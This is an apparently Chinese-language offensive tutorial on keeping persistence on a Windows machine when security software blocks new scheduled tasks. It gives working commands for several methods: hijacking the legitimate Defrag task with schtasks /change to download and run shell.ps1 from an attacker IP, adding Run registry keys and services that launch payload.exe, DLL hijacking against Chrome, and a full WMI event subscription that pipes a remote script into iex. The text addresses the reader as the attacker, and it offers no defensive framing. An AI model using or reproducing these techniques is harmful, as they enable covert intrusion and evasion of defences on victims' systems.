计划任务被拦截了怎么办
1. 放弃创建,寻找修改或利用已有的计划任务
安全软件通常只监控创建新任务的行为,但可能不会对修改已有任务的行为进行强拦截,尤其是那些系统或合法程序创建的计划任务
- 攻击原理:找到一个不显眼的、定期执行的、且权限足够高的系统任务,然后修改它的执行命令,让它在执行原有任务的同时,也执行你的恶意代码
-
操作步骤:
-
信息收集:首先,使用
schtasks /query /fo list /v
命令来列出所有已有的计划任务。你需要关注以下几点:- 任务名称:寻找那些看起来合法、不引人注意的任务,例如与系统更新、日志清理相关的任务
- 执行账户:寻找那些以
SYSTEM
或Administrator
权限运行的任务 - 触发器:了解任务的触发频率(例如每天、每周)
-
修改任务:使用
schtasks /change
命令来修改任务的执行命令# 示例:修改一个名为“MicrosoftWindowsDefragScheduledDefrag”的合法任务 schtasks /change /tn "MicrosoftWindowsDefragScheduledDefrag" /tr "powershell.exe -c "iwr http://<攻击机IP>/shell.ps1 -OutFile C:tempshell.ps1; Start-Process C:tempshell.ps1""
- 优点:这种方法利用了合法任务的“信任”,行为更加隐蔽,不容易被安全软件识别为恶意创建行为
-
信息收集:首先,使用
2. 利用启动项或服务进行权限维持
如果计划任务的路走不通,启动项和服务是另一个值得尝试的切入点
-
利用注册表启动项:许多应用程序都通过注册表键值来实现开机自启动。安全软件可能会监控这些键值的创建,但你可以尝试修改一些不那么敏感的键值
- 常见路径:
-
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
-
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
- 操作步骤:
# 在注册表Run键中添加一个启动项 reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /v "MyUpdater" /t REG_SZ /d "C:UsersPublicpayload.exe" /f
- 缺点:这种方法非常常见,很容易被安全软件拦截。你需要使用更隐蔽的键值或利用无文件方式
-
利用服务:Windows 服务可以以高权限运行,并且可以配置为开机自启动
- 操作步骤:
# 创建一个新的服务 sc create MyService binPath= "C:UsersPublicpayload.exe" start= auto # 启动服务 sc start MyService
- 缺点:创建新服务同样是一个非常敏感的操作,几乎所有的安全软件都会进行拦截
3. 使用无文件和内存驻留技术
这是在高级防护环境下最有效的权限维持方法,因为它完全绕过了文件系统和注册表的监控
-
DLL 劫持:找到一个经常被合法程序调用的、但路径可写的 DLL 文件,将你的恶意代码注入到这个 DLL 中
- 操作步骤:
- 找到一个合法程序(例如
c:Program FilesGoogleChromeApplicationchrome.exe
)启动时会去加载的 DLL - 将你自己的恶意 DLL 文件命名为相同的名字,并放置在程序会优先寻找的路径中。
- 当用户启动这个程序时,你的恶意 DLL 就会被加载并执行,从而实现权限维持
- 找到一个合法程序(例如
- 优点:这种方法非常隐蔽,因为执行的是合法程序,绕过了许多行为监控
- 操作步骤:
-
WMI/COM 持久化:利用 Windows Management Instrumentation (WMI) 或 Component Object Model (COM) 实现持久化
- 原理:你可以创建一个 WMI 事件订阅,当某个特定事件发生时(例如系统启动),自动触发执行你的恶意代码
- 操作步骤:
# 创建一个WMI事件过滤器,当系统启动时触发 $filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"} -ErrorAction Stop # 创建一个WMI事件消费者,执行你的恶意代码 $consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{Name="myconsumer"; CommandLineTemplate="powershell.exe -c 'iwr http://<攻击机IP>/shell.ps1|iex'"} -ErrorAction Stop # 将过滤器和消费者绑定 $binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{Filter=$filter; Consumer=$consumer} -ErrorAction Stop
- 优点:这是最高级的无文件持久化技术,非常难以被检测